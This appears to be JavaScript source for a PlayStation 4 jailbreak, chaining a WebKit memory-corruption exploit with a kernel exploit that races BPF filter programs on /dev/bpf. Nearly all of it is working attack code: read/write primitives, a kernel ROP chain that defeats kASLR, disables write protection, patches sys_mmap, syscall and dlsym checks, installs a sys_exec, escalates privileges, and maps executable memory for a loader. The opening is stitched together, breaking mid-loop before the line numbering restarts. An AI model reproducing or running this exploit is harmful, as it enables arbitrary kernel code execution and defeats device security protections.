279 | }
280 |
281 | /////////////////// STAGE 4: MISALIGNING JSVALUES ///////////////////
282 |
283 | var craftptr = leakJSVal.sub32(0x10000 - 0x10)
284 | tgt.b = u2d(0,craftptr.low); // 0x10000 is offset due to double encoding
285 | tgt.c = craftptr.hi;
286 | tgt.a = u2d(2048, 0x1602300);
287 |
288 | /////////////////// STAGE 3 - CONTINUED ///////////////////
289 |
290 | // Memory corruption ; not even once!
291 | for (var i=0; i back to the trap life
153 | chain.count = ocnt;
154 |
155 | p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
156 | p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame
157 | }}};
158 |
159 | var funcbuf32 = new Uint32Array(0x100);
160 | nogc.push(funcbuf32);
161 | funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
162 |
163 | p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
164 | p.write8(funcbuf.add32(0x80), gadgets["jop"]);
165 | p.write8(funcbuf,funcbuf);
166 | p.write8(parseFloatStore, gadgets["jop"]);
167 | var orig_hold = p.read8(holdz1);
168 | var orig_hold48 = p.read8(holdz1.add32(0x48));
169 |
170 | p.write8(holdz1, funcbuf.add32(0x50));
171 | p.write8(holdz1.add32(0x48), funcbuf);
172 | parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
173 | p.write8(holdz1, orig_hold);
174 | p.write8(holdz1.add32(0x48), orig_hold48);
175 |
176 | stackPointer = p.read8(funcbuf.add32(0x10));
177 | stackCookie = p.read8(stackPointer.add32(8));
178 | rtv=Array.prototype.splice.apply(reenter_help);
179 | return p.leakval(rtv);
180 | }
181 |
182 | p.loadchain = launch_chain;
183 |
184 | // Dynamically resolve syscall wrappers from libkernel
185 | var kview = new Uint8Array(0x1000);
186 | var kstr = p.leakval(kview).add32(0x10);
187 | var orig_kview_buf = p.read8(kstr);
188 |
189 | p.write8(kstr, window.moduleBaseLibKernel);
190 | p.write4(kstr.add32(8), 0x40000);
191 |
192 | var countbytes;
193 | for (var i=0; i < 0x40000; i++)
194 | {
195 | if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
196 | {
197 | countbytes = i;
198 | break;
199 | }
200 | }
201 | p.write4(kstr.add32(8), countbytes + 32);
202 |
203 | var dview32 = new Uint32Array(1);
204 | var dview8 = new Uint8Array(dview32.buffer);
205 | for (var i=0; i < countbytes; i++)
206 | {
207 | if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
208 | {
209 | dview8[0] = kview[i+3];
210 | dview8[1] = kview[i+4];
211 | dview8[2] = kview[i+5];
212 | dview8[3] = kview[i+6];
213 | var syscallno = dview32[0];
214 | window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i);
215 | }
216 | }
217 |
218 | // Setup helpful primitives for calling and string operations
219 | var chain = new window.rop();
220 |
221 | p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
222 | chain.clear();
223 |
224 | chain.notimes = this.next_notime;
225 | this.next_notime = 1;
226 |
227 | chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
228 |
229 | chain.push(window.gadgets["pop rdi"]); // pop rdi
230 | chain.push(chain.stackBase.add32(0x3ff8)); // where
231 | chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
232 |
233 | chain.push(window.gadgets["pop rax"]); // pop rax
234 | chain.push(p.leakval(0x41414242)); // where
235 |
236 | if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
237 |
238 | return p.read8(chain.stackBase.add32(0x3ff8));
239 | }
240 |
241 | p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) {
242 | if (typeof sysc == "string") {
243 | sysc = window.syscallnames[sysc];
244 | }
245 |
246 | if (typeof sysc != "number") {
247 | throw new Error("invalid syscall");
248 | }
249 |
250 | var off = window.syscalls[sysc];
251 |
252 | if (off == undefined) {
253 | throw new Error("invalid syscall");
254 | }
255 |
256 | return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
257 | }
258 |
259 | p.writeString = function (addr, str)
260 | {
261 | for (var i = 0; i < str.length; i++)
262 | {
263 | var byte = p.read4(addr.add32(i));
264 | byte &= 0xFFFF0000;
265 | byte |= str.charCodeAt(i);
266 | p.write4(addr.add32(i), byte);
267 | }
268 | }
269 |
270 | p.readString = function(addr)
271 | {
272 | var byte = p.read4(addr);
273 | var str = "";
274 | while (byte & 0xFF)
275 | {
276 | str += String.fromCharCode(byte & 0xFF);
277 | addr.add32inplace(1);
278 | byte = p.read4(addr);
279 | }
280 | return str;
281 | }
282 |
283 | var spawnthread = function (chain) {
284 | var longjmp = offsetToWebKit(0x1458);
285 | var createThread = offsetToWebKit(0x116ED40);
286 |
287 | var contextp = mallocu32(0x2000);
288 | var contextz = contextp.backing;
289 | contextz[0] = 1337;
290 | p.syscall(324, 1);
291 |
292 | var thread2 = new window.rop();
293 |
294 | thread2.clear();
295 | thread2.push(window.gadgets["ret"]); // nop
296 | thread2.push(window.gadgets["ret"]); // nop
297 | thread2.push(window.gadgets["ret"]); // nop
298 |
299 | thread2.push(window.gadgets["ret"]); // nop
300 | chain(thread2);
301 |
302 | p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
303 | p.write8(contextp.add32(0x10), thread2.stackBase); // rsp
304 |
305 | var test = p.fcall(createThread, longjmp, contextp, stringify("GottaGoFast"));
306 |
307 | window.nogc.push(contextz);
308 | window.nogc.push(thread2);
309 |
310 | return thread2;
311 | }
312 |
313 | var run_count = 0;
314 |
315 | function kernel_rop_run(fd, scratch) {
316 | // wait for it
317 | while (1) {
318 | var ret = p.syscall("sys_write", fd, scratch, 0x200);
319 | run_count++;
320 | if (ret.low == 0x200) {
321 | return ret;
322 | }
323 | }
324 | }
325 |
326 | // Clear errno
327 | p.write8(offsetToLibKernel(0x7CCF0), 0);
328 |
329 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
330 | // KERNEL EXPLOIT BEGINS /////////////////////////////////////////////////////////////////////////////////////////////
331 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
332 |
333 | //alert("OHHH WE'RE HALFWAY THERE WOOOOOOAHHH LIVIN ON A PRAYER")
334 |
335 | var test = p.syscall("sys_setuid", 0);
336 |
337 | // Check if homebrew has already been enabled, if not, run kernel exploit :D
338 | if(test != '0') {
339 | /////////////////// STAGE 1: Setting Up Programs ///////////////////
340 |
341 | var spadp = mallocu32(0x2000);
342 |
343 | // Open first device and bind
344 | var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR
345 |
346 | if(fd1 < 0) {
347 | throw "Failed to open first /dev/bpf device!";
348 | }
349 |
350 | p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF
351 |
352 | if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
353 | p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0"));
354 |
355 | if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
356 | throw "Failed to bind to first /dev/bpf device!";
357 | }
358 | }
359 |
360 | // Open second device and bind
361 | var fd2 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR
362 |
363 | if(fd2 < 0) {
364 | throw "Failed to open second /dev/bpf device!";
365 | }
366 |
367 | p.syscall("sys_ioctl", fd2, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF
368 |
369 | if (p.syscall("sys_write", fd2, spadp, 40).low == (-1 >>> 0)) {
370 | p.syscall("sys_ioctl", fd2, 0x8020426C, stringify("wlan0"));
371 |
372 | if (p.syscall("sys_write", fd2, spadp, 40).low == (-1 >>> 0)) {
373 | throw "Failed to bind to second /dev/bpf device!";
374 | }
375 | }
376 |
377 | // Setup kchain stack for kernel ROP chain
378 | var kchainstack = malloc(0x2000);
379 |
380 | /////////////////// STAGE 2: Building Kernel ROP Chain ///////////////////
381 | var kchain = new krop(p, kchainstack);
382 | var savectx = malloc(0x200);
383 |
384 | // NOP Sled
385 | kchain.push(window.gadgets["ret"]);
386 | kchain.push(window.gadgets["ret"]);
387 | kchain.push(window.gadgets["ret"]);
388 | kchain.push(window.gadgets["ret"]);
389 | kchain.push(window.gadgets["ret"]);
390 | kchain.push(window.gadgets["ret"]);
391 | kchain.push(window.gadgets["ret"]);
392 | kchain.push(window.gadgets["ret"]);
393 |
394 | // Save context to exit back to userland when finished
395 | kchain.push(window.gadgets["pop rdi"]);
396 | kchain.push(savectx);
397 | kchain.push(offsetToLibc(0x1D3C));
398 |
399 | // Defeat kASLR (resolve kernel .text base)
400 | var kernel_slide = new int64(-0x2610AD0, -1);
401 | kchain.push(window.gadgets["pop rax"]);
402 | kchain.push(savectx.add32(0x30));
403 | kchain.push(window.gadgets["mov rax, [rax]"]);
404 | kchain.push(window.gadgets["pop rcx"]);
405 | kchain.push(kernel_slide);
406 | kchain.push(window.gadgets["add rax, rcx"]);
407 | kchain.push(window.gadgets["pop rdi"]);
408 | kchain.push(savectx.add32(0x50));
409 | kchain.push(window.gadgets["mov [rdi], rax"]);
410 |
411 | // Disable kernel write protection
412 | kchain.push(window.gadgets["pop rax"])
413 | kchain.push(savectx.add32(0x50));
414 | kchain.push(window.gadgets["mov rax, [rax]"]);
415 | kchain.push(window.gadgets["pop rcx"]);
416 | kchain.push(0x280f79);
417 | kchain.push(window.gadgets["add rax, rcx"]);
418 | kchain.push(offsetToWebKit(0x12a16)); // mov rdx, rax
419 | kchain.push(window.gadgets["pop rax"]);
420 | kchain.push(0x80040033);
421 | kchain.push(offsetToWebKit(0x1517c7)); // jmp rdx
422 |
423 | // Add kexploit check so we don't run kexploit more than once (also doubles as privilege escalation)
424 | // E8 C8 37 13 00 41 89 C6 -> B8 00 00 00 00 41 89 C6
425 | var kexploit_check_patch = new int64(0x000000B8, 0xC6894100);
426 | kchain.push(window.gadgets["pop rax"])
427 | kchain.push(savectx.add32(0x50));
428 | kchain.push(window.gadgets["mov rax, [rax]"]);
429 | kchain.push(window.gadgets["pop rcx"]);
430 | kchain.push(0x1144E3);
431 | kchain.push(window.gadgets["add rax, rcx"]);
432 | kchain.push(window.gadgets["pop rsi"]);
433 | kchain.push(kexploit_check_patch);
434 | kchain.push(window.gadgets["mov [rax], rsi"]);
435 |
436 | // Patch sys_mmap: Allow RWX (read-write-execute) mapping
437 | var kernel_mmap_patch = new int64(0x37b64137, 0x3145c031);
438 | kchain.push(window.gadgets["pop rax"])
439 | kchain.push(savectx.add32(0x50));
440 | kchain.push(window.gadgets["mov rax, [rax]"]);
441 | kchain.push(window.gadgets["pop rcx"]);
442 | kchain.push(0x141D14);
443 | kchain.push(window.gadgets["add rax, rcx"]);
444 | kchain.push(window.gadgets["pop rsi"]);
445 | kchain.push(kernel_mmap_patch);
446 | kchain.push(window.gadgets["mov [rax], rsi"]);
447 |
448 | // Patch syscall: syscall instruction allowed anywhere
449 | var kernel_syscall_patch1 = new int64(0x00000000, 0x40878b49);
450 | var kernel_syscall_patch2 = new int64(0x909079eb, 0x72909090);
451 | kchain.push(window.gadgets["pop rax"])
452 | kchain.push(savectx.add32(0x50));
453 | kchain.push(window.gadgets["mov rax, [rax]"]);
454 | kchain.push(window.gadgets["pop rcx"]);
455 | kchain.push(0x3DC603);
456 | kchain.push(window.gadgets["add rax, rcx"]);
457 | kchain.push(window.gadgets["pop rsi"]);
458 | kchain.push(kernel_syscall_patch1);
459 | kchain.push(window.gadgets["mov [rax], rsi"]);
460 | kchain.push(window.gadgets["pop rax"])
461 | kchain.push(savectx.add32(0x50));
462 | kchain.push(window.gadgets["mov rax, [rax]"]);
463 | kchain.push(window.gadgets["pop rcx"]);
464 | kchain.push(0x3DC621);
465 | kchain.push(window.gadgets["add rax, rcx"]);
466 | kchain.push(window.gadgets["pop rsi"]);
467 | kchain.push(kernel_syscall_patch2);
468 | kchain.push(window.gadgets["mov [rax], rsi"]);
469 |
470 | // Patch sys_dynlib_dlsym: Allow from anywhere
471 | var kernel_dlsym_patch1 = new int64(0x000352E9, 0x8B489000);
472 | var kernel_dlsym_patch2 = new int64(0x90C3C031, 0x90909090);
473 | kchain.push(window.gadgets["pop rax"])
474 | kchain.push(savectx.add32(0x50));
475 | kchain.push(window.gadgets["mov rax, [rax]"]);
476 | kchain.push(window.gadgets["pop rcx"]);
477 | kchain.push(0x3CF6FE);
478 | kchain.push(window.gadgets["add rax, rcx"]);
479 | kchain.push(window.gadgets["pop rsi"]);
480 | kchain.push(kernel_dlsym_patch1);
481 | kchain.push(window.gadgets["mov [rax], rsi"]);
482 | kchain.push(window.gadgets["pop rax"])
483 | kchain.push(savectx.add32(0x50));
484 | kchain.push(window.gadgets["mov rax, [rax]"]);
485 | kchain.push(window.gadgets["pop rcx"]);
486 | kchain.push(0x690C0);
487 | kchain.push(window.gadgets["add rax, rcx"]);
488 | kchain.push(window.gadgets["pop rsi"]);
489 | kchain.push(kernel_dlsym_patch2);
490 | kchain.push(window.gadgets["mov [rax], rsi"]);
491 |
492 | // Add custom sys_exec() call to execute arbitrary code as kernel
493 | var kernel_exec_param = new int64(0, 1);
494 | kchain.push(window.gadgets["pop rax"])
495 | kchain.push(savectx.add32(0x50));
496 | kchain.push(window.gadgets["mov rax, [rax]"]);
497 | kchain.push(window.gadgets["pop rcx"]);
498 | kchain.push(0x102b8a0);
499 | kchain.push(window.gadgets["add rax, rcx"]);
500 | kchain.push(window.gadgets["pop rsi"]);
501 | kchain.push(0x02);
502 | kchain.push(window.gadgets["mov [rax], rsi"]);
503 | kchain.push(window.gadgets["pop rsi"])
504 | kchain.push(0x13a39f); // jmp qword ptr [rsi]
505 | kchain.push(window.gadgets["pop rdi"])
506 | kchain.push(savectx.add32(0x50));
507 | kchain.push(offsetToWebKit(0x119d1f0)); //add rsi, [rdi]; mov rax, rsi
508 | kchain.push(window.gadgets["pop rax"])
509 | kchain.push(savectx.add32(0x50));
510 | kchain.push(window.gadgets["mov rax, [rax]"]);
511 | kchain.push(window.gadgets["pop rcx"]);
512 | kchain.push(0x102b8a8);
513 | kchain.push(window.gadgets["add rax, rcx"]);
514 | kchain.push(window.gadgets["mov [rax], rsi"]);
515 | kchain.push(window.gadgets["pop rax"])
516 | kchain.push(savectx.add32(0x50));
517 | kchain.push(window.gadgets["mov rax, [rax]"]);
518 | kchain.push(window.gadgets["pop rcx"]);
519 | kchain.push(0x102b8c8);
520 | kchain.push(window.gadgets["add rax, rcx"]);
521 | kchain.push(window.gadgets["pop rsi"]);
522 | kchain.push(kernel_exec_param);
523 | kchain.push(window.gadgets["mov [rax], rsi"]);
524 |
525 | // Enable kernel write protection
526 | kchain.push(window.gadgets["pop rax"])
527 | kchain.push(savectx.add32(0x50));
528 | kchain.push(window.gadgets["mov rax, [rax]"]);
529 | kchain.push(window.gadgets["pop rcx"]);
530 | kchain.push(0x280f70);
531 | kchain.push(window.gadgets["add rax, rcx"]);
532 | kchain.push(window.gadgets["jmp rax"])
533 |
534 | // To userland!
535 | kchain.push(window.gadgets["pop rax"]);
536 | kchain.push(0);
537 | kchain.push(window.gadgets["ret"]);
538 | kchain.push(offsetToWebKit(0x3EBD0));
539 |
540 | // Setup valid program
541 | var bpf_valid_prog = malloc(0x10);
542 | var bpf_valid_instructions = malloc(0x80);
543 |
544 | p.write8(bpf_valid_instructions.add32(0x00), 0x00000000);
545 | p.write8(bpf_valid_instructions.add32(0x08), 0x00000000);
546 | p.write8(bpf_valid_instructions.add32(0x10), 0x00000000);
547 | p.write8(bpf_valid_instructions.add32(0x18), 0x00000000);
548 | p.write8(bpf_valid_instructions.add32(0x20), 0x00000000);
549 | p.write8(bpf_valid_instructions.add32(0x28), 0x00000000);
550 | p.write8(bpf_valid_instructions.add32(0x30), 0x00000000);
551 | p.write8(bpf_valid_instructions.add32(0x38), 0x00000000);
552 | p.write4(bpf_valid_instructions.add32(0x40), 0x00000006);
553 | p.write4(bpf_valid_instructions.add32(0x44), 0x00000000);
554 |
555 | p.write8(bpf_valid_prog.add32(0x00), 0x00000009);
556 | p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions);
557 |
558 | // Setup invalid program
559 | var entry = window.gadgets["pop rsp"];
560 | var bpf_invalid_prog = malloc(0x10);
561 | var bpf_invalid_instructions = malloc(0x80);
562 |
563 | p.write4(bpf_invalid_instructions.add32(0x00), 0x00000001);
564 | p.write4(bpf_invalid_instructions.add32(0x04), entry.low);
565 | p.write4(bpf_invalid_instructions.add32(0x08), 0x00000003);
566 | p.write4(bpf_invalid_instructions.add32(0x0C), 0x0000001E);
567 | p.write4(bpf_invalid_instructions.add32(0x10), 0x00000001);
568 | p.write4(bpf_invalid_instructions.add32(0x14), entry.hi);
569 | p.write4(bpf_invalid_instructions.add32(0x18), 0x00000003);
570 | p.write4(bpf_invalid_instructions.add32(0x1C), 0x0000001F);
571 | p.write4(bpf_invalid_instructions.add32(0x20), 0x00000001);
572 | p.write4(bpf_invalid_instructions.add32(0x24), kchainstack.low);
573 | p.write4(bpf_invalid_instructions.add32(0x28), 0x00000003);
574 | p.write4(bpf_invalid_instructions.add32(0x2C), 0x00000020);
575 | p.write4(bpf_invalid_instructions.add32(0x30), 0x00000001);
576 | p.write4(bpf_invalid_instructions.add32(0x34), kchainstack.hi);
577 | p.write4(bpf_invalid_instructions.add32(0x38), 0x00000003);
578 | p.write4(bpf_invalid_instructions.add32(0x3C), 0x00000021);
579 | p.write4(bpf_invalid_instructions.add32(0x40), 0x00000006);
580 | p.write4(bpf_invalid_instructions.add32(0x44), 0x00000001);
581 |
582 | p.write8(bpf_invalid_prog.add32(0x00), 0x00000009);
583 | p.write8(bpf_invalid_prog.add32(0x08), bpf_invalid_instructions);
584 |
585 | /////////////////// STAGE 3: Racing Filters ///////////////////
586 |
587 | // ioctl() with valid BPF program will trigger free() of old program and reallocate memory for the new one
588 | spawnthread(function (thread2) {
589 | interrupt1 = thread2.stackBase;
590 | thread2.push(window.gadgets["ret"]);
591 | thread2.push(window.gadgets["ret"]);
592 | thread2.push(window.gadgets["ret"]);
593 | thread2.push(window.gadgets["pop rdi"]); // pop rdi
594 | thread2.push(fd1); // what
595 | thread2.push(window.gadgets["pop rsi"]); // pop rsi
596 | thread2.push(0x8010427B); // what
597 | thread2.push(window.gadgets["pop rdx"]); // pop rdx
598 | thread2.push(bpf_valid_prog); // what
599 | thread2.push(window.gadgets["pop rsp"]); // pop rsp
600 | thread2.push(thread2.stackBase.add32(0x800)); // what
601 | thread2.count = 0x100;
602 | var cntr = thread2.count;
603 | thread2.push(window.syscalls[54]); // ioctl
604 | thread2.push_write8(thread2.stackBase.add32(cntr * 8), window.syscalls[54]); // restore ioctl
605 | thread2.push(window.gadgets["pop rsp"]); // pop rdx
606 | thread2.push(thread2.stackBase); // what
607 | });
608 |
609 | // ioctl() with invalid BPF program will be sprayed and eventually get used by the thread where the program has already been validated
610 | spawnthread(function (thread2) {
611 | interrupt2 = thread2.stackBase;
612 | thread2.push(window.gadgets["ret"]);
613 | thread2.push(window.gadgets["ret"]);
614 | thread2.push(window.gadgets["ret"]);
615 | thread2.push(window.gadgets["pop rdi"]); // pop rdi
616 | thread2.push(fd2); // what
617 | thread2.push(window.gadgets["pop rsi"]); // pop rsi
618 | thread2.push(0x8010427B); // what
619 | thread2.push(window.gadgets["pop rdx"]); // pop rdx
620 | thread2.push(bpf_invalid_prog); // what
621 | thread2.push(window.gadgets["pop rsp"]); // pop rsp
622 | thread2.push(thread2.stackBase.add32(0x800)); // what
623 | thread2.count = 0x100;
624 | var cntr = thread2.count;
625 | thread2.push(window.syscalls[54]); // ioctl
626 | thread2.push_write8(thread2.stackBase.add32(cntr * 8), window.syscalls[54]); // restore ioctl
627 | thread2.push(window.gadgets["pop rsp"]); // pop rdx
628 | thread2.push(thread2.stackBase); // what
629 | });
630 |
631 | /////////////////// STAGE 3: Trigger ///////////////////
632 | var scratch = malloc(0x200);
633 | var test = kernel_rop_run(fd1, scratch);
634 |
635 | if(p.syscall("sys_setuid", 0) == 0) {
636 | allset();
637 | } else {
638 | throw "Kernel exploit failed!";
639 | }
640 | } else {
641 | // Everything done already :D
642 | allset();
643 | }
644 |
645 | // create loader memory
646 | var code_addr = new int64(0x26100000, 0x00000009);
647 | var buffer = p.syscall("sys_mmap", code_addr, 0x300000, 7, 0x41000, -1, 0);
648 |
649 | // verify loaded
650 | if (buffer == '926100000') {
651 | // setup the stuff
652 | var scePthreadCreate = offsetToLibKernel(0x115c0);
653 | var thread = malloc(0x08);
654 | var thr_name = malloc(0x10);
655 | p.writeString(thr_name, "loader");
656 |
657 | // write loader
658 | writeLoader(p, code_addr);
659 |
660 | var createRet = p.fcall(scePthreadCreate, thread, 0, code_addr, 0, thr_name);
661 | }
662 | } catch(e) {
663 | fail("Post Exception: " + e)
664 | }
665 | }
666 |
--------------------------------------------------------------------------------